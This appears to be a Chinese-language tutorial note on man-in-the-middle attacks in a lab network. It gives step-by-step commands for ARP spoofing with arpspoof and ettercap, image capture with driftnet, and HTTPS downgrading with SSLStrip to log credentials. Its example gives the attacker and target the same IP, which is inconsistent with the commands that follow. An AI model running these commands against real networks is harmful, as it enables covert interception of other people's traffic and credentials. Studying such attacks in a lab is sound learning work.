中间人攻击-ARP欺骗

arpspoof

语法格式:

1
2
3
4
5
arpspoof [options] host
#-i interface 指定接口
#-t target 指定ARP欺骗的目标
#-r 双向欺骗 与-t一起使用
#host 指定拦截包的主机 通常网关

开启路由转发:

1
2
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward #输出1时成功开启

查看攻击主机和目标主机ARP缓存表,得到网关信息:

1
arp

举例:攻击主机IP为192.168.29.134,MAC为00:0c:29:79:95:9e;目标主机IP为192.168.29.134,MAC为00:0c:29:6c:5d:69;网关IP为192.168.29.2,MAC为00:50:56:f1:40:cb。

分别对目标主机和网关实施ARP攻击:

1
2
arpspoof -i eth0 -t 192.168.29.135 192.168.29.2
arpspoof -i eth0 -t 192.168.29.2 192.168.29.135

也可以用一个命令完成:

1
arpspoof -i eth0 -t 192.168.29.135 -r 192.168.29.2

Ettercap

过时了…玩玩可以,实战用Bettercap。

启动图形界面:

1
ettercap -G

先Unified sniffing,再Scan for hosts,打开Hosts list查看主机列表,选中两个主机分别Add to Target1、Add to Target2,选择Start sniffing。

启动ARP注入攻击选择ARP poisoning,勾选Sniff remote connections复选框。

停止需要Stop sniffing和Stop mitm attack(s)。

下面介绍命令行用法:

1
2
3
4
5
6
ettercap [options] [target1] [target2]
#-i 选择网络接口 默认第一个eth0
#-M --mitm <METHOD:ARGS> 中间人攻击 remote双向 oneway单向
#-T --text 使用文本模式
#-q --quiet 不显示包内容
#-P <plugin> 加载的插件

对目标主机192.168.29.136实施中间人攻击:

1
ettercap -Tq -M arp:remote /192.168.29.136// /192.168.29.2//

当嗅探到数据包时输出。

Wireshark

略。

driftnet

实施中间人攻击后捕获图片:

1
2
3
4
5
6
7
8
driftnet [options]
#-b 捕获到图片时发出嘟嘟声
#-i interface 指定监听接口
#-f file 读取指定pcap包中的图片
#-a 后台模式 捕获的图片保存到目录中 屏幕不显示
#-m number 指定保存图片的数目
#-d directory 保存捕获到的图片的临时目录 退出后将被删除
#-x prefix 指定保存的前缀名 默认driftnet-

ettercap实施中间人攻击:

1
ettercap -Tq -M arp:remote /192.168.29.135// /192.168.29.2//

driftnet开始监听:

1
driftnet -i eth0 -d /root/image

SSLStrip

HTTP数据可直接监听,HTTPS需要先解密。

开启路由转发:

1
echo 1 > /proc/sys/net/ipv4/ip_forward

将所有HTTP数据导入到10000端口:

1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

使SSLStrip监听10000端口,获取信息:

1
sslstrip -a -l 10000

当前目录下会创建一个日志文件,监控它:

1
tail -f sslstrip.log

中间可能混杂着python语法报错,不用理会。

再进行ARP欺骗攻击:

1
ettercap -Tq -M arp:remote /192.168.29.135// /192.168.29.2//

Xplico

捕获到数据包后,对数据进行快速分析。

启动:

1
2
3
service xplico start
service apache2 start
netstat -pantul | grep 9876 #当apache2在监听时启动成功

访问http://IP:9876/,默认用户名密码都是xplico。

不知道啥原因打不开登录界面,摆烂了…